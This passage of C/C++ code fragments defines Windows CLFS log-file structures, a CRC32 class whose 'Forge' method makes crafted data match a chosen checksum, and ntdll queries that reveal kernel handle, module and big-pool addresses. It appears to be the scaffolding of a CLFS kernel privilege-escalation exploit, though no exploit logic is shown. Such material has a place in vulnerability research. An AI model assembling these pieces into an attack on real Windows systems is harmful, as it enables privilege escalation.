    CLFS_CLIENT_ID cClients;
    CLFS_CLIENT_ID iClient;
    CLFS_LSN lsnOwnerPage;
```

```
{
    ClfsMetaBlockControl = 0x0,
    ClfsMetaBlockControlShadow = 0x1,
    ClfsMetaBlockGeneral = 0x2,
    ClfsMetaBlockGeneralShadow = 0x3,
    ClfsMetaBlockScratch = 0x4,
    ClfsMetaBlockScratchShadow = 0x5,
} CLFS_METADATA_BLOCK_TYPE, *PCLFS_METADATA_BLOCK_TYPE;

typedef struct _CLFS_METADATA_BLOCK
{
    union {
        PUCHAR pbImage;
        ULONGLONG ullAlignment;
    };
    ULONG cbImage;
    ULONG cbOffset;
    CLFS_METADATA_BLOCK_TYPE eBlockType;
} CLFS_METADATA_BLOCK, *PCLFS_METADATA_BLOCK;

typedef struct _CLFS_CONTROL_RECORD
{
    CLFS_METADATA_RECORD_HEADER hdrControlRecord;
    ULONGLONG ullMagicValue;
    UCHAR Version;
    CLFS_EXTEND_STATE eExtendState;
    USHORT iExtendBlock;
    USHORT iFlushBlock;
    ULONG cNewBlockSectors;
    ULONG cExtendStartSectors;
    ULONG cExtendSectors;
    CLFS_TRUNCATE_CONTEXT cxTruncate;
    USHORT cBlocks;
    ULONG cReserved;
    CLFS_METADATA_BLOCK rgBlocks[1];
} CLFS_CONTROL_RECORD, *PCLFS_CONTROL_RECORD;

typedef struct _CLFSHASHSYM
{
    CLFS_NODE_ID cidNode;
    ULONG ulHash;
    ULONG cbHash;
    ULONGLONG ulBelow;
    ULONGLONG ulAbove;
    LONG cbSymName;
    LONG cbOffset;
    BOOLEAN fDeleted;
} CLFSHASHSYM, *PCLFSHASHSYM;

typedef struct _CLFS_CLIENT_CONTEXT
{
    CLFS_NODE_ID cidNode;
    CLFS_CLIENT_ID cidClient;
    USHORT fAttributes;
    ULONG cbFlushThreshold;
    ULONG cShadowSectors;
    ULONGLONG cbUndoCommitment;
    LARGE_INTEGER llCreateTime;
    LARGE_INTEGER llAccessTime;
    LARGE_INTEGER llWriteTime;
    CLFS_LSN lsnOwnerPage;
    CLFS_LSN lsnArchiveTail;
    CLFS_LSN lsnBase;
    CLFS_LSN lsnLast;
    CLFS_LSN lsnRestart;
    CLFS_LSN lsnPhysicalBase;
    CLFS_LSN lsnUnused1;
    CLFS_LSN lsnUnused2;
    CLFS_LOG_STATE eState;
    union {
        HANDLE hSecurityContext;
        ULONGLONG ullAlignment;
    };
} CLFS_CLIENT_CONTEXT, *PCLFS_CLIENT_CONTEXT;

typedef struct _CLFS_LOG_BLOCK_HEADER
{
    UCHAR MajorVersion;
    UCHAR MinorVersion;
    UCHAR Usn;
    CLFS_CLIENT_ID ClientId;
    USHORT TotalSectorCount;
    USHORT ValidSectorCount;
    ULONG Padding;
    ULONG Checksum;
    ULONG Flags;
    CLFS_LSN CurrentLsn;
```

```
typedef ULONG CLFS_USN;

typedef struct _CLFS_CONTAINER_CONTEXT
{
    CLFS_NODE_ID cidNode;
    ULONGLONG cbContainer;
    CLFS_CONTAINER_ID cidContainer;
    CLFS_CONTAINER_ID cidQueue;
    union {
        PVOID pContainer;
        ULONGLONG ullAlignment;
    };
    CLFS_USN usnCurrent;
    CLFS_CONTAINER_STATE eState;
    ULONG cbPrevOffset;
    ULONG cbNextOffset;
} CLFS_CONTAINER_CONTEXT, *PCLFS_CONTAINER_CONTEXT;
```

```
// crc32.h
#pragma once

class Crc32
{
public:
    Crc32(unsigned int poly)
    {
        for (int i = 0; i < 256; ++i)
        {
            unsigned int fwd = i, rev = i << 24;
            for (int j = 8; j > 0; --j)
            {
                if (fwd & 1) fwd = (fwd >> 1) ^ poly;
                else fwd >>= 1;
                forward[i] = fwd & 0xffffffff;
                if ((rev & 0x80000000) == 0x80000000) rev = ((rev ^ poly) << 1) | 1;
                else rev <<= 1;
                rev &= 0xffffffff;
                reverse[i] = rev;
            }
        }
    }

    unsigned int Compute(const unsigned char *buf, int len)
    {
        unsigned int crc = 0xffffffff;

        for (int i = 0; i < len; ++i)
            crc = (crc >> 8) ^ forward[(crc ^ buf[i]) & 0xff];

        return crc ^ 0xffffffff;
    }

    void Forge(unsigned int target, unsigned char *buf, int len, int pos)
    {
        unsigned int fwd_crc = 0xffffffff;
        for (int i = 0; i < pos; ++i)
            fwd_crc = (fwd_crc >> 8) ^ forward[(fwd_crc ^ buf[i]) & 0xff];

        *(unsigned int *)&buf[pos] = fwd_crc;

        unsigned int bkd_crc = target ^ 0xffffffff;
        for (int i = len - 1; i >= pos; --i)
            bkd_crc = ((bkd_crc << 8) & 0xffffffff) ^ reverse[bkd_crc >> 24] ^ buf[i];

        *(unsigned int *)&buf[pos] = bkd_crc;
    }

private:
    unsigned int forward[256];
    unsigned int reverse[256];
};
```

```
// ntdll.h
#pragma once

#include <Windows.h>
#include <ntstatus.h>

#define DECLARE_NTDLL_FUNC(name, params)                                    \
    typedef NTSTATUS(NTAPI *__type_##name) params;                          \
    __type_##name name;

#define BEGIN_NTDLL_IMPORT()                                                \
    do                                                                      \
    {                                                                       \
        HMODULE hNtDll = LoadLibrary(L"ntdll.dll");                         \
```

```
#define END_NTDLL_IMPORT()                                                  \
    }                                                                       \
    while (0)                                                               \
        ;

typedef enum _SYSTEM_INFORMATION_CLASS
{
    SystemModuleInformation = 0xb,
    SystemHandleInformation = 0x10,
    SystemExtendedHandleInformation = 0x40,
    SystemBigPoolInformation = 0x42,
} SYSTEM_INFORMATION_CLASS;

typedef struct _IO_STATUS_BLOCK
{
    union {
        NTSTATUS Status;
        PVOID Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef VOID(NTAPI *PIO_APC_ROUTINE)(_In_ PVOID ApcContext, _In_ PIO_STATUS_BLOCK IoStatusBlock, _In_ ULONG Reserved);

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    ULONG ProcessId;
    UCHAR ObjectTypeNumber;
    UCHAR Flags;
    USHORT Handle;
    void *Object;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef struct _SYSTEM_HANDLE_EX
{
    PVOID Object;
    HANDLE UniqueProcessId;
    HANDLE HandleValue;
    ULONG GrantedAccess;
    USHORT CreatorBackTraceIndex;
    USHORT ObjectTypeIndex;
    ULONG HandleAttributes;
    ULONG Reserved;
} SYSTEM_HANDLE_EX, *PSYSTEM_HANDLE_EX;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
    ULONG_PTR HandleCount;
    ULONG_PTR Reserved;
    SYSTEM_HANDLE_EX Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;

typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
    HANDLE Section;
    PVOID MappedBase;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES
{
    ULONG NumberOfModules;
    RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;

typedef struct _SYSTEM_BIGPOOL_ENTRY
{
    union {
        PVOID VirtualAddress;
        ULONG_PTR NonPaged : 1;
    };
    ULONG_PTR SizeInBytes;
    union {
```

```
typedef struct _SYSTEM_BIGPOOL_INFORMATION
{
    ULONG Count;
    SYSTEM_BIGPOOL_ENTRY AllocatedInfo[ANYSIZE_ARRAY];
} SYSTEM_BIGPOOL_INFORMATION, *PSYSTEM_BIGPOOL_INFORMATION;
```